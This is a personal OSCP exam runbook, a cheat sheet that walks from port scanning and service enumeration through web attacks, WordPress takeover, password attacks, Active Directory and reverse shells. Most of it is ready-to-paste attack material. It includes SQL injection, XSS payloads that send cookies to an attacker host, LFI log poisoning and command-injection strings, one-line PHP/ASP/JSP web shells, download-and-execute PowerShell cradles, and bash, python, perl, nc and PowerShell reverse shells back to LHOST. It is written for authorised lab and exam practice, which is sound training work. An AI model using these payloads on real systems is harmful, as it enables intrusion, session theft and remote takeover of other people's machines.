Offensive Security Certified Professional · PEN-200
Lupo's OSCP Runbook
A personal field manual for taking machine targets — from first packet to proof.txt. Recon and remote/local enumeration (Linux and Windows), a full web-attack playbook, web shells and WordPress, password cracking, brute force & spraying, split Active Directory enumeration / attacks / lateral movement, linPEAS & winPEAS parse guides, deep privesc, exploit compiling, a buffer-overflow walkthrough, pivoting and exfil — with the exact commands, the flags that matter, and the gotchas that eat exam hours. Tooling is current for a modern Kali box: nxc in place of CrackMapExec throughout.
New here? Read 00 · What OSCP Expects first — the report and screenshot rules decide whether your flags actually count.
The loop: Recon → Enumerate → Exploit → Escalate → Loot → re-enumerate at every new access level.
Start here
Welcome
This is a personal, exam-focused runbook for taking machine targets end to end — recon to proof.txt. It's built to be used during a box: skim to the right section, copy the exact command, and keep moving. Nothing here replaces hands-on practice. Hack boxes. Try exploits. Engage with the security community.
How to use it
Before you touch a box
What OSCP Expects — Report & Proof
The exam is graded on a report, not on a scoreboard — a flag you can't prove is worth zero. Read this section before the clock starts so every screenshot and note you take during the 24 hours is already report-ready. Structure current as of the Nov 2024 changes (the credential is now branded OSCP+).
The hard part is finding the way in, not the exploit itself. OSCP boxes rarely need novel or deep exploitation — the vulnerabilities are usually known and a public PoC works once you actually find it. The exam rewards breadth and methodology across many services, not depth in any one. So when you're stuck, the answer is almost always more enumeration — not a cleverer exploit.
The exam at a glance
4 machines · 100 pts3 standalone + one Active Directory setStandalone ×3 — 60 pts20 each: 10 for the initial-access local.txt, 10 for the privesc proof.txtAD set — 40 ptsa 3-host chain scored 10 / 10 / 20 — you generally need the whole chain to bank itPass = 70 ptscommon paths: full AD (40) + 3 local flags (30), or AD (40) + 1.5 standalone boxesNo bonus pointsthe old +10 for lab/exercise submissions was removed on 1 Nov 2024Time~23h45m of hands-on, then a separate 24h window to write and submit the reportWhat every proof screenshot must show
This is where points are silently lost. A flag value pasted as text is not accepted — the grader needs a screenshot proving you read it live on the target. Every flag screenshot must contain, in a single frame:
# Linux target — user flag and root flagcat local.txt; id; ip a # from the user's home dircat /root/proof.txt; id; ip a # after root# Windows target — user flag and SYSTEM/admin flagtype local.txt & whoami & ipconfig # from C:\Users\<user>\Desktoptype C:\Users\Administrator\Desktop\proof.txt & whoami & ipconfigThe report — write it as you go
Orient
Setup & Mindset
Before touching the target, set up so every command below is copy-paste ready and your notes write themselves. Enumeration is the majority of the work — you will loop back to it after every foothold, credential, and privilege gain.
export IP=10.10.10.10export LHOST=10.10.14.5 # your tun0 IPmkdir -p ~/boxes/$IP/{nmap,web,loot,exploits}cd ~/boxes/$IPMap the attack surface
Recon & Port Scanning
Sweep all TCP ports fast, then run version and script detection only against what is open. Kick off a UDP scan in the background — SNMP, TFTP, DNS and IKE hide there.
# 1) Quick all-ports TCP sweepnmap -p- --min-rate 1000 -T4 $IP -oN nmap/allports.txt# 2) Extract the open ports into a variableports=$(grep -oP '^\d+(?=/tcp\s+open)' nmap/allports.txt | paste -sd,)# 3) Deep version + default-script scan on just those portsnmap -p$ports -sC -sV -O --version-all $IP -oN nmap/deep.txt# UDP top-100 in the background while you work TCPsudo nmap -sU --top-ports 100 -T4 $IP -oN nmap/udp.txtFlags worth knowing
Interrogate every port
Service Enumeration
Enumerate every open port, cross-reference each version with searchsploit, and always try anonymous / guest / default access first. Modern Kali note: nxc (NetExec) replaces the deprecated CrackMapExec everywhere below.
Test-NetConnection -Port 25 <ip> # single port (alias: tnc)tnc <ip> -Port 445 -InformationLevel Detailed# sweep a list of ports$ports=21,22,25,53,80,139,445,3389,5985$ports | % { if((Test-NetConnection <ip> -Port $_ -WarningAction SilentlyContinue).TcpTestSucceeded){"$_ open"} }# raw TCP connect (older hosts without tnc)1..1024 | % { try{ (New-Object Net.Sockets.TcpClient).Connect('<ip>',$_); "$_ open" }catch{} }arp -a ; route print ; ipconfig /all # local subnets for pivotingftp <ip> # FTP (native client)ssh user@<ip> # SSH (Win10+ OpenSSH client)Test-NetConnection -Port 25 <ip> # SMTP reachabilityResolve-DnsName -Type ANY domain.tld -Server <ip> # DNS (or nslookup -type=any domain.tld <ip>)iwr http://<ip> -UseBasicParsing ; curl.exe -s http://<ip> # HTTPnet view \\<ip> /all ; Get-SmbShare ; net use \\<ip>\share # SMB([adsisearcher]'(objectClass=user)').FindAll() | %{$_.Properties.samaccountname} # LDAP/ADsqlcmd -S <ip> -U sa -P pass -Q 'SELECT @@version' # MSSQLmstsc /v:<ip> # RDPEnter-PSSession -ComputerName <ip> -Credential (Get-Credential) # WinRM / PSRemotingFTP · 21
nmap -p21 --script ftp-anon,ftp-syst $IPftp $IP # user: anonymous / pass: anythingwget -m --no-passive ftp://anonymous:anonymous@$IP # mirror everythingSSH · 22
nc -nv $IP 22 # bannerssh-audit $IPssh -i id_rsa user@$IP # chmod 600 id_rsa first; crack with ssh2john if encryptedRarely the entry point itself — you usually SSH in with creds found elsewhere. Password reuse wins here constantly.
SMTP · 25
nmap -p25 --script smtp-commands,smtp-enum-users $IPsmtp-user-enum -M VRFY -U users.txt -t $IP # valid users feed later sprayingDNS · 53
dig axfr @$IP domain.tld # jackpot when it worksdnsenum --dnsserver $IP domain.tlddnsrecon -d domain.tld -t std -n $IP # std records + zone transfer attemptdig ns domain.tld @$IP ; dig any domain.tld @$IPgobuster dns -d domain.tld -r $IP -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txtHTTP / HTTPS · 80 · 443 · 8080
whatweb -a3 http://$IP ; curl -sI http://$IPnmap -p80,443 --script http-enum,http-title $IP# feroxbuster: fast + recursiveferoxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html,bak -t 50# alternativesgobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,htmlffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .php,.txt,.baknikto -h http://$IPWeb is heavily weighted on the exam — see the full workflow in 06 · Web Application.
SMB · 139 · 445
sudo nbtscan -r $IP/24 # NetBIOS names across the subnetnxc smb $IP # OS, hostname, domain, signingnxc smb $IP -u '' -p '' --shares # null-session sharesnxc smb $IP -u guest -p '' --sharesenum4linux-ng -A $IP # users, groups, shares, policysmbclient -L //$IP/ -N # list shares (null auth)smbclient //$IP/share -N # connect; then: recurse ON, prompt OFF, mget *smbmap -H $IP -u '' -p '' # read/write at a glancenxc smb $IP -u USER -p PASS --sharesnxc smb $IP -u USER -p PASS --users --groups --loggedon-usersnxc smb $IP -u USER -p PASS --pass-pol # policy first, then spray safelynxc smb $IP -u USER -H NTHASH --shares # pass-the-hashnxc smb $IP -M ms17-010 # EternalBlue checkSNMP · 161/udp
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt $IPsnmpwalk -v2c -c public $IPsnmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.2 # running processes — creds in cmdlines!snmpbulkwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25 # windows userssnmpwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects # custom scripts run by snmpd (RCE-ish)POP3 / IMAP · 110 · 143 · 993 · 995
nc -nv $IP 110 # POP3: USER x / PASS y / LIST / RETR ntelnet $IP 143 # IMAP plaintextopenssl s_client -connect $IP:993 # IMAPS (993) / POP3S: -connect $IP:995# IMAP once logged in (the leading '1' is just a request tag):1 LOGIN user pass ; 1 LIST "" * ; 1 SELECT INBOX ; 1 FETCH 1 BODY[] # read a message# nxc can spray/validate mail creds too: nxc <smtp|imap> $IP -u users.txt -p passLDAP · 389 · 636 · 3268
nxc ldap $IP -u '' -p ''ldapsearch -x -H ldap://$IP -s base namingcontextsldapsearch -x -H ldap://$IP -b "DC=domain,DC=tld"nxc ldap $IP -u USER -p PASS --asreproast asrep.txtOther high-value ports
rpcclient -U '' -N $IP # enumdomusers, querydispinfo, enumdomgroupsimpacket-mssqlclient USER:PASS@$IP -windows-auth # then enable_xp_cmdshellshowmount -e $IP # NFS exports; watch for no_root_squashsudo mount -t nfs $IP:/export /mnt/nfs -o nolockmysql -h $IP -u root -p # try root/blank, root/rootxfreerdp /v:$IP /u:USER /p:PASS /cert:ignore +clipboard /dynamic-resolutionnxc winrm $IP -u USER -p PASS # "(Pwn3d!)" = shellableevil-winrm -i $IP -u USER -p PASSKnow the box you're on
Local Host Enumeration
The moment you land a shell — remotely or after a foothold — build a full picture of the machine before anything else: who you are, the OS and patch level, the network around you, users, what's running, scheduled jobs, storage, and the quick privesc-relevant finds. This feeds web pivots, AD, and privilege escalation (§18/§20). Automated scanners (linPEAS / winPEAS) run all of this and more, but reading it by hand first builds intuition and catches what they bury. The commands are split by OS below — use the Linux set or the Windows set depending on the box you landed on.
Linux
System & identity
id ; whoami ; sudo -lhostnamecat /etc/issuecat /etc/os-releaseuname -a # kernel + arch → kernel-exploit matchingarch ; cat /proc/versionUsers, processes & modules
grep -vE 'nologin|false' /etc/passwd # real login userscat /etc/group ; getent group sudo adm docker lxd wheelw ; who ; lastlogps aux # every process (owner + cmdline)ps -ef --forest ; pspy64 # parent/child tree; watch cron/root livelsmod # loaded kernel modules/sbin/modinfo <module> # details of a specific module (vuln driver?)Network
ip a ; ifconfig # interfaces / addresses (extra NICs = pivots)ip route ; route ; routel # routing tabless -anp # sockets: listening + established, with processnetstat -ano # same, older toolarp -a ; cat /proc/net/arp # neighbours on the subnetcat /etc/hosts /etc/resolv.confcat /etc/iptables/rules.v4 # firewall rules (what's allowed out/in)Scheduled jobs, software & storage
ls -lah /etc/cron* # /etc/cron.d, .daily, .hourly, crontabcrontab -l ; sudo crontab -ldpkg -l # installed packages + versions (rpm -qa on RHEL)cat /etc/fstab # mounts, sometimes credsmount ; lsblk ; df -h # what's mounted / block devicesfind / -perm -u=s -type f 2>/dev/null # SUID binaries → GTFOBinsfind / -perm -g=s -type f 2>/dev/null # SGID binariesfind / -writable -type d 2>/dev/null # writable directories (drop payloads/PATH)getcap -r / 2>/dev/null # file capabilitiesWindows
Identity & users
whoamiwhoami /groups # group memberships (integrity, well-known SIDs)whoami /priv # privileges → token abuse (§20)Get-LocalUser # local accounts (PowerShell)net user <user> # a user's groups, last logon, flagsGet-LocalGroup # local groupsGet-LocalGroupMember Administrators # who is local adminnet localgroup administratorsSystem, network & processes
systeminfo ; hostname ; ver # OS + patch level → wesngGet-HotFix ; wmic qfe get HotFixID # applied patchesipconfig /allroute printnetstat -ano # connections + owning PIDarp -a ; Get-NetTCPConnection ; net view /domainGet-Process # running processes (tasklist /v, tasklist /svc)schtasks /query /fo LIST /v # scheduled tasks (SYSTEM ones matter)Installed software (registry)
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname # 32-bitGet-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname # 64-bitwmic product get name,version # WMI view (slower)# match versions → searchsploit / exploit-db for a local-priv-esc or RCEWhere most footholds live
Web Application Enumeration
OSCP is web-heavy — spend real time here. Fingerprint the stack, brute content recursively, fuzz vhosts, parameters and APIs. The actual attack techniques (SQLi, XSS, traversal, LFI/RFI, upload, command injection) live in 07 · Web Attacks.
whatweb -a3 http://$IP ; curl -sI http://$IP# recursive content discovery with extensionsferoxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php,txt,html,bak,zip,old -d 2# virtual-host fuzzing (set -fs to the baseline 404 size)ffuf -u http://$IP -H "Host: FUZZ.domain.tld" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 1234# parameter fuzzingffuf -u "http://$IP/page.php?FUZZ=1" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 1234# crawl the app for links/endpoints, and read file metadata for usernamesgospider -s http://$IP -d 2 -t 10 # spider to depth 2exiftool *.pdf *.docx | grep -i author # author/creator names → usernames to sprayAPI discovery & testing
Modern apps expose REST and GraphQL APIs — often with weaker auth than the UI. Find the endpoints (docs, JS, brute), map the parameters, then test each object and method.
# docs & schemas give you every route for freecurl -s http://$IP/swagger.json http://$IP/openapi.json http://$IP/api-docscurl -s http://$IP/robots.txt ; grep -rioE '/api/[a-z0-9/_-]+' *.js # endpoints hidden in JS# brute API paths & versionsffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txtffuf -u http://$IP/api/vFUZZ/users -w <(seq 1 3)# discover parameters a route acceptsarjun -u http://$IP/api/user -m GET# method tampering — try GET/POST/PUT/DELETE/PATCH on each routecurl -X PUT http://$IP/api/user/1 -H 'Content-Type: application/json' -d '{"role":"admin"}'# BOLA / IDOR — swap the object id to someone else'scurl http://$IP/api/user/2 -H "Authorization: Bearer <token>"# missing auth — hit the endpoint with NO token at all# mass assignment — add fields the UI never sends: isAdmin, role, verified# GraphQL introspection — dump the whole schemacurl -s http://$IP/graphql -H 'Content-Type: application/json' -d '{"query":"{__schema{types{name fields{name}}}}"}'Test-for checklist
Break the app
Web Attacks
The attack playbooks for the inputs you found while enumerating (§06). Match the technique to the sink; on OSCP a web bug is usually the foothold, so keep pushing until it's RCE or credentials.
Headers worth watching & abusing
Half of web exploitation lives in the headers — what the response tells you about the stack, and which request headers get logged, reflected, or trusted (and are therefore injection points). Watch them all in Burp or with curl -v.
Server · X-Powered-Byexact stack & version → searchsploitSet-Cookiesession cookie + flags (HttpOnly, Secure); predictable/guessable valuesLocationredirect target → open-redirect / SSRF leadsWWW-AuthenticateBasic / NTLM auth (NTLM responses leak the internal hostname)X-Forwarded-* · Viabehind a proxy → try header-based access-control bypassContent-Security-Policyhow constrained an XSS payload will beX-Debug · stack tracesleaked file paths, framework, and versionsHostvhost routing, password-reset poisoning, cache poisoning, SSRFUser-Agentlogged → LFI log poisoning; sometimes reflected → XSS; a cmdi sinkRefererlogged → log poisoning; reflected → XSSX-Forwarded-For · X-Real-IPspoof source IP → auth / rate-limit bypass, SSRFX-Forwarded-Hostpoisons password-reset and absolute-URL linksCookieoften trusted → SQLi / injection sinkAuthorizationJWT tampering (alg:none), Basic creds to crackContent-Typeswitch to text/xml → XXE; application/json to dodge filters# poison a log via User-Agent, then include it (LFI → RCE)curl -s http://$IP/ -A '<?php system($_GET[c]); ?>' # then ?page=/var/log/apache2/access.log&c=id# command injection through a header the app hands to a shellcurl http://$IP/ -H 'User-Agent: ; id' -H 'X-Forwarded-For: 127.0.0.1; id'# XSS through a reflected headercurl http://$IP/ -H 'Referer: "><script>alert(1)</script>'# access-control / rate-limit bypass by spoofing sourcecurl http://$IP/admin -H 'X-Forwarded-For: 127.0.0.1'# host-header attacks (reset poisoning, routing, SSRF)curl http://$IP/reset -H 'Host: LHOST' ; curl http://$IP/ -H 'X-Forwarded-Host: LHOST'SQL Injection
Find the injection point, identify the DBMS, then extract. On the exam you must do this by hand — automated tools like sqlmap are not permitted. The sqlmap block below is for real-world engagements (and for grinding the tedious parts once you've proven the bug manually).
# break the query — watch for errors or a changed response' " ') ')) `# classic login bypass (try in username, sometimes password)' OR 1=1-- -admin'-- -' OR '1'='1") OR ("1"="1"-- -' OR 1=1 LIMIT 1;-- -# 1) count columns — increment until it errors' ORDER BY 1-- - (then 2, 3, ... until error -> last working number = column count)' UNION SELECT NULL-- - (or add NULLs until no error)' UNION SELECT NULL,NULL,NULL-- -# 2) find which columns actually render on the page' UNION SELECT 1,2,3-- - (note which numbers appear)# 3) pull metadata into a visible column' UNION SELECT NULL,@@version,NULL-- - # MySQL / MSSQL' UNION SELECT NULL,version(),NULL-- - # PostgreSQL' UNION SELECT NULL,banner,NULL FROM v$version-- - # Oracle (needs FROM dual/table)# 4) enumerate the schema via information_schema (MySQL/MSSQL/Postgres)' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -# 5) dump the credentials' UNION SELECT NULL,concat(username,':',password),NULL FROM users-- -' AND 1=1-- - (true -> normal page)' AND 1=2-- - (false -> changed page)' AND SUBSTRING((SELECT database()),1,1)='a'-- - (extract char by char)' AND SLEEP(5)-- - # MySQL'; WAITFOR DELAY '0:0:5'-- - # MSSQL' AND 1=(SELECT 1 FROM PG_SLEEP(5))-- - # PostgreSQL# MySQL — read/write files (needs FILE priv; secure_file_priv must allow it)' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL-- -' UNION SELECT NULL,'<?php system($_GET[0]);?>',NULL INTO OUTFILE '/var/www/html/sh.php'-- -# MSSQL — command exec via xp_cmdshell (stacked queries)'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;-- -'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'-- -# PostgreSQL — command exec'; COPY (SELECT '') TO PROGRAM 'id'-- -sqlmap -u "http://$IP/page.php?id=1" --batch --dbssqlmap -r request.txt --batch --level 5 --risk 3 # saved Burp request, deepest testssqlmap -u URL -p id --dbms mysql -D appdb -T users --dumpsqlmap -u URL --batch --os-shell # try to pop a shellsqlmap -r request.txt --batch --tamper=space2comment # basic WAF/filter bypassCross-Site Scripting (XSS)
Inject JavaScript that runs in another user's browser — Reflected (echoed in this response), Stored (persisted and served to others), or DOM (a client-side sink). On OSCP, XSS is usually a stepping stone: steal an admin's session or make their browser act for you.
<script>alert(document.domain)</script>"><script>alert(1)</script> # break out of an attribute value<img src=x onerror=alert(1)> # when <script> is filtered<svg/onload=alert(1)> # no spaces, shortjavascript:alert(1) # in an href / URL sink'-alert(1)-' ; ';alert(1)// # break out of a JS string context# exfil the victim's cookie to your listener<script>new Image().src='http://LHOST/c='+document.cookie</script><script>fetch('http://LHOST/?c='+document.cookie)</script># catch it: php -S 0.0.0.0:80 (or python3 -m http.server) and watch the log# HttpOnly cookie? pivot instead: drive a privileged action as the admin, or keylog the pageDirectory / Path Traversal
Read arbitrary files by escaping the intended directory — distinct from LFI: traversal just reads a file, LFI includes/executes it. Common in download, file, image and template parameters.
http://$IP/download?file=../../../../etc/passwd?file=..%2f..%2f..%2fetc%2fpasswd # URL-encoded?file=..%252f..%252fetc%252fpasswd # double-encoded (defeats one decode pass)?file=....//....//etc/passwd # bypass naive ../ stripping?file=/etc/passwd%00.png # null byte + expected extension (old)# Windows?file=..\..\..\windows\system32\drivers\etc\hosts?file=..%5c..%5cwindows%5cwin.ini# high-value reads: /etc/passwd, app config, ~/.ssh/id_rsa, source code, /etc/shadowLFI → RCE — turn a file read into code execution
If a page includes a file whose path you control, escalate from reading files to running commands. Which technique works depends on the PHP config — try php://filter first, then wrappers, then log poisoning.
http://$IP/index.php?page=../../../../etc/passwd?page=....//....//....//etc/passwd # bypass a single ../ strip?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd # URL-encoded traversal?page=/etc/passwd%00 # null byte (old PHP < 5.3.4)?page=....//....//windows/win.ini # Windows target# read PHP source as base64 (decode → find creds, paths, more LFI)?page=php://filter/convert.base64-encode/resource=config.php# execute via php://input (POST the PHP as the body)curl -s "http://$IP/index.php?page=php://input" --data '<?php system("id"); ?>'# execute via data:// (needs allow_url_include=On)?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWzBdKTs/Pg==&0=id# expect:// wrapper (if the module is loaded)?page=expect://id# 1) inject PHP into a log the app will later includecurl -s http://$IP/ -A '<?php system($_GET[c]); ?>' # User-Agent → access.log# SSH with username: <?php system($_GET[c]); ?> # → /var/log/auth.log# 2) include the poisoned log and run commands?page=/var/log/apache2/access.log&c=id?page=/var/log/auth.log&c=id?page=/proc/self/environ&c=id # poison via User-Agent, then includeRemote File Inclusion (RFI)
Rarer than LFI (needs allow_url_include=On), but instant RCE when present: the include path can be a URL you host.
echo '<?php system($_GET[0]); ?>' > sh.txt ; python3 -m http.server 80?page=http://$LHOST/sh.txt&0=id?page=http://$LHOST/sh.txt%00 # old-PHP null-byte trick# HTTP filtered on Windows? include over SMB instead:?page=\\$LHOST\share\sh.php # host with impacket-smbserverFile Upload vulnerabilities
An upload that lands in a web-reachable directory and is served as server-side code = a shell. Get your file past the filter, find its URL, execute it (payloads in 08 · Web Shells).
feroxbuster -u http://$IP/uploads -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt# the response or a Location header often reveals the stored pathcurl "http://$IP/uploads/shell.php?c=id"Command Injection
; id # run after (Linux)| id # pipe output of theirs into yours|| id # run only if the first fails&& id # run only if the first succeeds`id` $(id) # inline command substitution%0a id # URL-encoded newline& whoami # background / chain (works on Windows too); sleep 5 # Linux time delay& ping -n 5 127.0.0.1 # Windows; curl http://$LHOST/hit # OOB callback (watch python3 -m http.server); nslookup pwned.$LHOST # DNS exfilcat${IFS}/etc/passwd # ${IFS} in place of a spacecat</etc/passwd # redirection instead of space{cat,/etc/passwd} # brace expansionc''at /et''c/pa''sswd # break up a blacklisted wordecho Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash # base64 the whole command; bash -c 'bash -i >& /dev/tcp/$LHOST/443 0>&1'; busybox nc $LHOST 443 -e /bin/sh& powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://LHOST/r.ps1')" # WindowsLand & drive a shell
Web Shells
Once you have file write — an upload, LFI/SQLi INTO OUTFILE, or a writable share mapped to the web root — drop a webshell, confirm execution, then upgrade to an interactive reverse shell. Match the language to the stack: PHP, ASP/ASPX, or JSP.
Ready-made shells that ship with Kali
ls /usr/share/webshells/{php,asp,aspx,jsp,perl}/cp /usr/share/webshells/php/php-reverse-shell.php sh.php # edit $ip/$port inside firstls /usr/share/laudanum/ ; ls /usr/share/nishang/Shells/ # richer shells# or build with msfvenom, matched to the stackmsfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw > sh.phpmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o sh.aspxmsfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f raw > sh.jspMinimal one-line command shells
# PHP<?php system($_GET['c']); ?><?php echo shell_exec($_REQUEST['c']); ?><?php passthru($_GET['c']); ?># ASP (classic IIS)<% eval request("c") %># ASPX — prefer msfvenom -f aspx or webshells/aspx/cmdasp.aspx (the one-liner is fiddly)# JSP<% Runtime.getRuntime().exec(request.getParameter("c")); %>Drive it, then upgrade to a reverse shell
curl "http://$IP/sh.php?c=id"curl -G "http://$IP/sh.php" --data-urlencode 'c=whoami' # POST/encode if GET is filtered# Linux target → reverse shell (URL-encode the payload)curl "http://$IP/sh.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/$LHOST/443+0>%261'"# Windows targetcurl "http://$IP/sh.aspx?c=powershell+-c+IEX(New-Object+Net.WebClient).DownloadString('http://LHOST/r.ps1')"# always start the listener first: rlwrap nc -lvnp 443Upload filter bypasses
The web's most common CMS
WordPress & WPScan
WordPress powers a large share of the web, so it turns up constantly on exam-style boxes — and it fails in predictable ways: weak admin passwords, vulnerable plugins/themes, and leaked wp-config.php credentials. The play is always the same: fingerprint → enumerate users, plugins, themes → get admin (crack or a plugin CVE) → turn the admin panel into RCE.
Confirm it's WordPress, then hit the paths that matter
whatweb or a /wp-login.php that loads confirms it. Then walk the high-signal paths by hand — several give you version, usernames or creds without any tool:
/wp-login.phpthe admin login form — where cracked creds go/wp-admin/the dashboard; redirects to login unless you're authed — your goal is to reach it/wp-admin/admin.php?page=…plugin admin pages once logged in/readme.html · /wp-includes/version.phpcore WordPress version → known-vuln lookup/wp-json/wp/v2/usersREST API user enumeration — often lists every author's slug/login as JSON/?author=1 (…2,3)redirects reveal the login name for each user id/xmlrpc.phplegacy API — enables fast password attacks (system.multicall) and pingback SSRF/wp-content/plugins/ · /themes/installed plugins/themes; each folder often has a readme.txt with a version/wp-content/uploads/where uploaded files (and your shell) land, by year/month/wp-config.php · /wp-config.php.bak · /.wp-config.php.swpDB creds & auth keys if a backup/leak is served — instant loot/wp-content/debug.logleaks paths, errors, sometimes tokens when WP_DEBUG is onWPScan — enumerate the target
sudo gem install wpscan || sudo apt install wpscanwpscan --update# broad enumeration: users, all plugins/themes, config backups, db exportswpscan --url http://$IP/ --enumerate u,ap,at,cb,dbe --plugins-detection aggressive# u=users ap=all plugins at=all themes cb=config backups dbe=db exportswpscan --url http://$IP/ -e u # just usernames (feeds the password attack)wpscan --url http://$IP/ --enumerate vp,vt --api-token <TOKEN> # only VULNERABLE plugins/themes# password attack against found users (xmlrpc multicall = fast; falls back to wp-login)wpscan --url http://$IP/ --usernames admin --passwords /usr/share/wordlists/rockyou.txt \
--max-threads 50 --password-attack xmlrpcFrom a flagged version to a shell
WPScan tells you e.g. “wpDiscuz 7.0.4 — vulnerable” with a CVE/title. Look it up (searchsploit wpdiscuz, the WPScan reference link, or Google the CVE) and run the PoC. If instead you cracked admin creds, you don't need a plugin bug at all — the dashboard is RCE:
# Appearance → Theme File Editor → pick an INACTIVE theme → edit 404.php:<?php system($_GET['c']); ?># save, then trigger it (theme name = the folder you edited):curl "http://$IP/wp-content/themes/twentytwentythree/404.php?c=id"curl "http://$IP/wp-content/themes/twentytwentythree/404.php?c=" --data-urlencode \
"c=bash -c 'bash -i >& /dev/tcp/$LHOST/443 0>&1'" # → nc -lvnp 443# or let Metasploit do the upload (your ONE MSF box):msf> use exploit/unix/webapp/wp_admin_shell_upload # set RHOSTS/USERNAME/PASSWORD/TARGETURIGet the first shell
Exploitation
searchsploit apache 2.4.49searchsploit -m 50383 # mirror exploit to cwdsearchsploit -x 50383 # read itmsfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f elf -o shell.elfmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o shell.exeCatch & stabilize the shell
rlwrap nc -lvnp 443 # listener with history# on the target (Linux):python3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xterm# Ctrl-Z to background, then on Kali:stty raw -echo; fg# press Enter twicePassword attacks
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://$IPhydra -l admin -P rockyou.txt $IP http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"hashcat -m 0 hashes.txt rockyou.txt # 0=MD5 1000=NTLM 1800=sha512crypt 3200=bcryptjohn --wordlist=rockyou.txt hashes.txtssh2john id_rsa > id_rsa.hash ; john id_rsa.hashActive Directory quick hits
kerbrute userenum -d domain.tld --dc $IP users.txtimpacket-GetNPUsers domain.tld/ -usersfile users.txt -no-pass # AS-REP roastimpacket-GetUserSPNs domain.tld/USER:PASS -dc-ip $IP -request # Kerberoastbloodhound-python -u USER -p PASS -d domain.tld -ns $IP -c Allimpacket-secretsdump domain.tld/USER:PASS@$IP # needs privsevil-winrm -i $IP -u USER -H NTHASH # pass-the-hashCall back & catch it
Reverse Shells & Handlers
A reverse shell makes the target connect back to your listener. Pick a payload the target can actually run, catch it, then stabilise it. When a raw one-liner won't fire, encode it (base64 / URL) or package it with msfvenom; catch staged and Meterpreter payloads with multi/handler.
Start a listener
rlwrap nc -lvnp 443 # rlwrap gives arrow-key history in the caught shellnc -lvnp 443 # plainpwncat-cs -lp 443 # auto-stabilises + upload/download built in# prefer 443 / 80 / 53 — commonly allowed outbound even when egress is filteredLinux reverse shells (try a few — depends what's installed)
bash -c 'bash -i >& /dev/tcp/$LHOST/443 0>&1'sh -i >& /dev/tcp/$LHOST/443 0>&1# no bash /dev/tcp? use an interpreter that's present:python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("'$LHOST'",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'nc -e /bin/sh $LHOST 443rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST 443 >/tmp/f # if nc has no -eperl -e 'use Socket;$i="'$LHOST'";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'socat TCP:$LHOST:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane # fully-interactive if socat is presentWindows reverse shells
# PowerShell one-liner (most reliable native option)powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('LHOST',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=[Text.Encoding]::ASCII.GetBytes($r+'PS> ');$s.Write($sb,0,$sb.Length);$s.Flush()}"# quoting/AV pain? base64-encode a PS payload and run it (see the encoding block below):powershell -nop -e <BASE64-UTF16LE># nc.exe (transfer it to the box first)nc.exe $LHOST 443 -e cmd.exe# fully-interactive Windows shell (tab-complete, arrows, Ctrl-C):IEX(IWR http://$LHOST/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell $LHOST 443Encode & package with msfvenom
